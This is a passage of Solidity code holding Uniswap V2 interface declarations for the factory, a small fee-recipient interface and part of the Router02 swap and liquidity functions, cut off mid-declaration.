    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);\r
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);\r
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);\r
}\r
\r
\r
pragma solidity ^0.8.0;\r
\r
interface IUniswapV2Factory {\r
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);\r
\r
    function feeTo() external view returns (address);\r
    function feeToSetter() external view returns (address);\r
\r
    function getPair(address tokenA, address tokenB) external view returns (address pair);\r
    function allPairs(uint) external view returns (address pair);\r
    function allPairsLength() external view returns (uint);\r
\r
    function createPair(address tokenA, address tokenB) external returns (address pair);\r
\r
    function setFeeTo(address) external;\r
    function setFeeToSetter(address) external;\r
}\r
\r
interface IFeeTo {\r
    function operatorAddress() external view returns (address);\r
}\r
\r
interface IUniswapV2Router02 is IUniswapV2Router01 {\r
    function removeLiquidityETHSupportingFeeOnTransferTokens(\r
        address token,\r
        uint liquidity,\r
        uint amountTokenMin,\r
        uint amountETHMin,\r
        address to,\r
        uint deadline\r
    ) external returns (uint amountETH);\r
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\r
        address token,\r
        uint liquidity,\r
        uint amountTokenMin,\r
        uint amountETHMin,\r
        address to,\r
        uint deadline,\r
        bool approveMax, uint8 v, bytes32 r, bytes32 s\r
    ) external returns (uint amountETH);\r
\r
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(\r
        uint amountIn,\r
        uint amountOutMin,\r
        address[] calldata path,\r
        address to,\r
        uint deadline\r
    ) external;\r
    function swapExactETHForTokensSupportingFeeOnTransferTokens(\r
        uint amountOutMin,\r
        address[] calldata path,\r
        address to,\r
        uint deadline\r
    ) external payable;\r
    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
        uint amountIn,\r